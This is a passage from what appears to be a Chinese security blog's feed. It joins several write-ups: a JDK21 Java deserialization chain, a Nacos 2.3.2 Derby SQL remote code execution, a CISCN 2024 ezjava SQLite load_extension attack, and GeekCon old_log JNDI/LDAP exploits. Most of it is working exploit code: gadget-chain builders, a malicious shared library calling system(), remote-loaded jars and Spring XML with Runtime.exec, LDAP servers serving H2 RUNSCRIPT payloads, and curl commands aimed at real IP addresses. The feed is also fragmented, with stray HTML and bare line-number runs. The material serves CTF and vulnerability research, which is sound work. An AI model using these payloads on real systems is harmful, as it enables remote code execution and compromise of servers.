                return cons.newInstance(new Object[] { string });
            } catch (Throwable ex) {
                throw new ParseException("Error creating instance", 0);
            }
        }
    }
    return string;
}

会进行一个任意类实例化

即可ClassPathXmlApplicationContext

image-20241108150747-u9jigmq

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.n1ght.src;

import com.n1ght.StringFormat;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.*;
import javax.swing.text.DefaultFormatter;
import javax.swing.text.InternationalFormatter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws  Exception{

        InternationalFormatter internationalFormatter = new InternationalFormatter();
        DefaultFormatter defaultFormatter = new DefaultFormatter();
        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
        JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
        jFormattedTextField.setValue("http://112.124.59.213/poc.xml");
        StringFormat aaa = new StringFormat("{0}");
        internationalFormatter.setFormat(aaa);
        UnSafeTools.setObject(internationalFormatter,
                JFormattedTextField.AbstractFormatter.class.getDeclaredField("ftf"),
                jFormattedTextField);
        UnSafeTools.setObject(internationalFormatter,
                DefaultFormatter.class.getDeclaredField("allowsInvalid"),
                false);
        UnSafeTools.setObject(internationalFormatter,
                InternationalFormatter.class.getDeclaredField("validMask"),
                true);
        UnSafeTools.setObject(internationalFormatter,
                DefaultFormatter.class.getDeclaredField("valueClass"),
                ClassPathXmlApplicationContext.class);
        internationalFormatter.setAllowsInvalid(false);

        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(internationalFormatter);
        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bao.toByteArray());
        new ObjectInputStream(byteArrayInputStream).readObject();
    }
}

UnsafeTools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.n1ght.src;//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//


import java.lang.reflect.Field;
import java.lang.reflect.Method;
import sun.misc.Unsafe;

public class UnSafeTools {
    static Unsafe unsafe;

    public UnSafeTools() {
    }

    public static Unsafe getUnsafe() throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe)field.get((Object)null);
        return unsafe;
    }

    public static void setObject(Object o, Field field, Object value) {
        unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
    }

    public static Object newClass(Class c) throws InstantiationException {
        Object o = unsafe.allocateInstance(c);
        return o;
    }

    public static void bypassModule(Class src, Class dst) throws Exception {
        Unsafe unsafe = getUnsafe();
        Method getModule = dst.getDeclaredMethod("getModule");
        getModule.setAccessible(true);
        Object module = getModule.invoke(dst);
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(src, addr, module);
    }

    static {
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe)field.get((Object)null);
        } catch (Exception var1) {
            System.out.println("Error: " + var1);
        }

    }
}

poc.xml

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="data" class="java.lang.String">
<constructor-arg><value>PAYLOAD</value></constructor-arg>
</bean>
<bean class="#{T(java.lang.Runtime).getRuntime().exec('command')}"></bean>
</beans>
]]> <p>链尾来自于avss geekcon2024的old log，查找到一个链子去通往他，但是实例化成功了，无法查遍了Format都无法控制参数，于是手动patch了一个继承Format类使他的parseObject可控。</p> <p>用codeql查询到漏洞利用链的过程就省略 nacos-0day分析 https://www.n1ght.cn/2024/08/20/nacos-0day%E5%88%86%E6%9E%90/ 2024-08-20T10:00:00.000Z 2024-08-21T09:26:03.327Z 首先下载

poc

https://github.com/ayoundzw/nacos-poc

服务

https://github.com/alibaba/nacos/releases/tag/2.3.2

开启调试

修改

1
set "NACOS_OPTS=%NACOS_OPTS%  -agentlib:jdwp=transport=dt_socket,address=9000,server=y,suspend=n  -jar %BASE_DIR%\target\%SERVER%.jar"

看到poc

查看sql语句
这个option_sql自始至终没有用到过

1
2
3
4
5
post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);

首先

1
CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)

远程加载一个jar进来

1
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')

将这个类加入到derby.database.classpath

1
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

创建一个静态方法
返回值也要是String
poc就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package test.poc;  
  
import java.io.InputStream;  
import java.util.Scanner;  
  
public class Example {  
    public static String exec(String id)throws Exception{  
        InputStream inputStream = Runtime.getRuntime().exec(id).getInputStream();  
        String s = new Scanner(inputStream).next();  
        return s;  
    }  
  
    public static void main(String[] args) {  
        System.out.println("aaa");  
    }  
}

在idea里面打包一个类

将生成的jar包重命名为download，然后python -m http.server 5000即可

调试

下载源码
搜索
/nacos/v1/cs/ops/data/removal
在com.alibaba.nacos.config.server.controller.ConfigOpsController#importDerby函数里面，有鉴权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**  
 * // TODO the front page should appear operable The external data source is imported into derby.  
 *  
 * <p>mysqldump --defaults-file="XXX" --host=0.0.0.0 --protocol=tcp --user=XXX --extended-insert=FALSE \  
 * --complete-insert=TRUE \ --skip-triggers --no-create-info --skip-column-statistics "{SCHEMA}" "{TABLE_NAME}" * * @param multipartFile {@link MultipartFile}  
 * @return {@link DeferredResult}  
 */@PostMapping(value = "/data/removal")  
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")  
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {  
    DeferredResult<RestResult<String>> response = new DeferredResult<>();  
    if (!DatasourceConfiguration.isEmbeddedStorage()) {  
        response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));  
        return response;  
    }  
    DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);  
    WebUtils.onFileUpload(multipartFile, file -> {  
        NotifyCenter.publishEvent(new DerbyImportEvent(false));  
        databaseOperate.dataImport(file).whenComplete((result, ex) -> {  
            NotifyCenter.publishEvent(new DerbyImportEvent(true));  
            if (Objects.nonNull(ex)) {  
                response.setResult(RestResultUtils.failed(ex.getMessage()));  
                return;  
            }  
            response.setResult(result);  
        });  
    }, response);  
    return response;  
}

发现文件上传，有个临时文件看看内容是什么

内容是导入恶意jar包的sql代码

发现在数据导入的时候

通过一行行设置sql代码进入List集合

再次进入doDataImport

进入batchUpdate


调用了execute

调用了BatchUpdateStatementCallback#doInStatement函数
最后调用stmt.executeBatch函数执行数据库操作命令

这样恶意jar就已经加载进入数据库了
再次使用select查询数据库就能执行恶意命令，p牛师傅给出过一个链接
https://github.com/alibaba/nacos/issues/4463

存在任意sql执行

1
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);

所以即可执行命令
现在有鉴权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@GetMapping(value = "/derby")  
@Secured(action = ActionTypes.READ, resource = "nacos/admin")  
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {  
    String selectSign = "SELECT";  
    String limitSign = "ROWS FETCH NEXT";  
    String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";  
    try {  
        if (!DatasourceConfiguration.isEmbeddedStorage()) {  
            return RestResultUtils.failed("The current storage mode is not Derby");  
        }  
        LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource  
                .getInstance().getDataSource();  
        if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {  
            if (!StringUtils.containsIgnoreCase(sql, limitSign)) {  
                sql += limit;  
            }  
            JdbcTemplate template = dataSourceService.getJdbcTemplate();  
            List<Map<String, Object>> result = template.queryForList(sql);  
            return RestResultUtils.success(result);  
        }  
        return RestResultUtils.failed("Only query statements are allowed to be executed");  
    } catch (Exception e) {  
        return RestResultUtils.failed(e.getMessage());  
    }  
}
]]> <h2 id="首先下载"><a href="#首先下载" class="headerlink" title="首先下载"></a>首先下载</h2><h3 id="poc"><a href="#poc" class="headerlink" title="poc"></a>po 2024ciscn-ezjava https://www.n1ght.cn/2024/07/12/2024ciscn-ezjava/ 2024-07-12T13:00:00.000Z 2024-07-12T13:17:45.679Z 
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>

void a() {
    system("cmd");
}

__attribute__((constructor)) void init() {
    a();
}

静态编译so文件
gcc -shared -o vulnso.so -fPIC vulnso.c

生成一个临时文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.jdbctest;

import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;

public class Gen {
    public static void main(String[] args) {

            try {
                String dbFile = "F:/poc.db";
                File file = new File(dbFile);
                Class.forName("org.sqlite.JDBC");    //保证lib文件夹中已导入相关的jdbc包
                Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);//创建数据库连接
                System.out.println("Opened database successfully");

                String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-2133282111.db'));";  //向其中插入传入的三个参数
                PreparedStatement preStmt = conn.prepareStatement(sql);

                preStmt.executeUpdate();
                preStmt.close();
                conn.close();

            } catch (Exception e) {
                e.printStackTrace();
            }

    }
}
1
2
curl --header "Content-Type: application/json"  --request POST  --data '{"type": 3,"url": "jdbc:sqlite::resource:http://106.54.209.118/vulnso.so","tableName": "security"}' http://8.147.129.121:31442/jdbc/connect
curl --header "Content-Type: application/json"  --request POST  --data '{"type": 3,"url": "jdbc:sqlite::resource:http://106.54.209.118/poc.db","tableName": "security"}' http://8.147.129.121:31442/jdbc/connect


由于

这个hash是http://106.54.209.118/poc.db卡了一段时间
依次执行上面的poc.db和vulnso.so

]]> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="li geekcon-old_log https://www.n1ght.cn/2024/04/25/geekcon-old_log/ 2024-04-24T16:00:00.000Z 2024-04-24T16:43:12.919Z

jdk1.8，jdk11

在jndi注入下，jdk1.8使用ldap传入java反序列化，打jackson链子即可（漏洞存在环境jdk1.8，jdk11）因为在后面几个版本Template类被做了一些限制
编写参考（能自己写但是没有必要）
jndiMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package map.jndi.gadget;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import map.jndi.util.ReflectUtil;
import map.jndi.util.SerializeUtil;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Jackson {
    public static byte[] create(TemplatesImpl templatesImpl) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");

        if (!ctClass.isFrozen()) {
            CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
            ctClass.removeMethod(ctMethod);
            ctClass.freeze();
            ctClass.toClass();
        }

        AdvisedSupport as = new AdvisedSupport();
        as.setTarget(templatesImpl);

        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);

        Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);

        POJONode pojoNode = new POJONode(templatesProxy);
        BadAttributeValueExpException e = new BadAttributeValueExpException(null);
        ReflectUtil.setFieldValue(e, "val", pojoNode);

        return SerializeUtil.serialize(e);
    }
}

jackson反序列化触发getter，使用spring aop使链子稳定

jdk17

在jdk17中，rmi访问外网ip会有一些问题，这边使用LDAP + Reference
这边使用X1r0z师傅的博客来演示一下
X1r0z blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package com.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#Evil";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
//             Payload2: 返回序列化 Gadget
//            try {
//                e.addAttribute("javaSerializedData", Base64.decode("..."));
//            } catch (ParseException exception) {
//                exception.printStackTrace();
//            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

可以使用 LDAP + Reference Factory，Payload2: 返回序列化 Gadget
即tomcat-jdbc打h2 jdbc attack

写入到ldap服务器中即可，只不过这边有点问题我使用的是远程加载poc.sql
所以payload是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package com;  
  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
import com.unboundid.util.Base64;  
  
import javax.naming.Reference;  
import javax.naming.StringRefAddr;  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  
import java.text.ParseException;  
  
public class LDAPServer{  
    private static final String LDAP_BASE = "dc=example,dc=com";  
  
    public static void main (String[] args) {  
  
        String url = "http://127.0.0.1:8000/#Evil";  
        int port = 1389;  
  
        try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
            config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen",  
                    InetAddress.getByName("0.0.0.0"),  
                    port,  
                    ServerSocketFactory.getDefault(),  
                    SocketFactory.getDefault(),  
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));  
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
            System.out.println("Listening on 0.0.0.0:" + port);  
            ds.startListening();  
  
        }  
        catch ( Exception e ) {  
            e.printStackTrace();  
        }  
    }  
  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  
        private URL codebase;  
        public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
        }  
        /**  
         * {@inheritDoc}  
         *         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)  
         */        @Override  
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
            Entry e = new Entry(base);  
            try {  
                sendResult(result, base, e);  
            }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
            }  
  
        }  
  
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
            e.addAttribute("javaClassName", "Exploit");  
            String cbstring = this.codebase.toString();  
            int refPos = cbstring.indexOf('#');  
            if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
            }  
            Reference ref = new Reference("javax.sql.DataSource","org.apache.tomcat.jdbc.pool.DataSourceFactory",null);  
            String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://106.54.209.118:4444/poc.sql'";  
            ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));  
            ref.add(new StringRefAddr("url",url));  
            ref.add(new StringRefAddr("username","root"));  
            ref.add(new StringRefAddr("password","password"));  
            ref.add(new StringRefAddr("initialSize","1"));  
  
            e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));  
  
  
//             Payload2: 返回序列化 Gadget//            try {  
//                e.addAttribute("javaSerializedData", Base64.decode("..."));  
//            } catch (ParseException exception) {  
//                exception.printStackTrace();  
//            }  
  
            result.sendSearchEntry(e);  
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
        }  
  
    }  
}

jdk21

这个漏洞属于是ssh打一条全新的链子

这个比较强，sink点在于DefaultFormatter#stringToValue

JFormattedTextField#commitEdit触发了他

1
2
3
4
5
6
7
public void commitEdit() throws ParseException {  
    AbstractFormatter format = getFormatter();  
  
    if (format != null) {  
        setValue(format.stringToValue(getText()), false, true);  
    }  
}

发现javax.swing.JFormattedTextField$FocusLostHandler#run触发了他，到这边已经能组成一个低版本的链子了，但是jdk高版本有package隔离

从官方给出的链子来看
reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable就不受隔离影响

他是groovy的类
Hibernate5存在任意无参方法调用（反思，没有听过），所以最后就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108


import com.n1ght.reflect.ReflectTools;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ReflectHelper;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import org.hibernate.validator.internal.util.ReflectionHelper;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.*;
import javax.swing.text.DefaultFormatter;
import java.lang.reflect.*;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        new Main().bypassModule();
        DefaultFormatter defaultFormatter = new DefaultFormatter();
        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
        JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
        jFormattedTextField.setValue("http://127.0.0.1:8001/poc.xml");
        Class<?> handler = Class.forName("javax.swing.JFormattedTextField$FocusLostHandler");
        Object o = UnSafeTools.newClass(handler);
        UnSafeTools.setObject(o, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler").getDeclaredField("this$0"), jFormattedTextField);

        Class<?> execRunnable = Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable");
        Object exec = UnSafeTools.newClass(execRunnable);
        UnSafeTools.setObject(exec,execRunnable.getDeclaredField("task"),o);

        Object makeHibernate5Getter = makeHibernate5Getter(handler, "run");
        Object o1 = makeHibernate45Caller( o,makeHibernate5Getter);

        String s = SerialTools.base64Serial(o1);
        System.out.println(s);

        SerialTools.base64DeSerial(s);
//        GetterMethodImpl getterMethod = new GetterMethodImpl(execRunnable, "run", run);
//        String s = SerialTools.base64Serial(getterMethod);
//        System.out.println(s);
//        Object o1 = SerialTools.base64DeSerial(s);
//        Method get = o1.getClass().getDeclaredMethod("get",Object.class);
//        get.invoke(o1,exec);
    }
    static Object makeHibernate45Caller(Object tpl, Object getters) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
        PojoComponentTuplizer tup = (PojoComponentTuplizer)Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
        ComponentType t = (ComponentType)Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
        Reflections.setFieldValue(t, "componentTuplizer", tup);
        Reflections.setFieldValue(t, "propertySpan", Integer.valueOf(1));
        Reflections.setFieldValue(t, "propertyTypes", new Type[] { (Type)t });
        TypedValue v1 = new TypedValue((Type)t, null);
        Reflections.setFieldValue(v1, "value", tpl);
        Reflections.setFieldValue(v1, "type", t);
        TypedValue v2 = new TypedValue((Type)t, null);
        Reflections.setFieldValue(v2, "value", tpl);
        Reflections.setFieldValue(v2, "type", t);

        HashMap<Object, Object> s = new HashMap();
        Field size = s.getClass().getDeclaredField("size");
        ReflectHelper.ensureAccessibility(size);
        size.set(s,2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException var6) {
            nodeC = Class.forName("java.util.HashMap$EntAry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
        ReflectHelper.ensureAccessibility(nodeCons);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Field table = s.getClass().getDeclaredField("table");
        ReflectHelper.ensureAccessibility(table);
        table.set(s,tbl);
        return s;
    }
    public void bypassModule() throws Exception {
        UnSafeTools.bypassModule(this.getClass(), Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
//        UnSafeTools.bypassModule(this.getClass(), ClassPathXmlApplicationContext.class);
//        UnSafeTools.bypassModule(this.getClass(), JFormattedTextField.class);
//        UnSafeTools.bypassModule(this.getClass(), HashMap.class);
//        UnSafeTools.bypassModule(this.getClass(), GetterMethodImpl.class);
//        UnSafeTools.bypassModule(Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"), JFormattedTextField.class);
//        UnSafeTools.bypassModule(JFormattedTextField.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("javax.swing.JFormattedTextField$FocusLostHandler"));
        UnSafeTools.bypassModule(ReflectHelper.class, HashMap.class);
//        UnSafeTools.bypassModule(ReflectHelper.class, Class.forName("java.util.HashMap$Node"));
//
//        UnSafeTools.bypassModule(GetterMethodImpl.class, Class.forName("reactor.core.scheduler.ExecutorScheduler$ExecutorTrackedRunnable"));
    }
    public static Object makeHibernate5Getter(Class<?> tplClass, String method) throws NoSuchMethodException, SecurityException, ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
        Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        Constructor<?> bgCon = basicGetter.getConstructor(new Class[] { Class.class, String.class, Method.class });
        Object g = bgCon.newInstance(new Object[] { tplClass, "run", tplClass.getDeclaredMethod(method, new Class[0]) });
        Object arr = Array.newInstance(getterIf, 1);
        Array.set(arr, 0, g);
        return arr;
    }
}

jndi高版本注入

https://vidar-team.feishu.cn/docx/ScXKd2ISEo8dL6xt5imcQbLInGc
打的是JRMPListener打反序列化漏洞
所以参考一下师傅的jndi的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
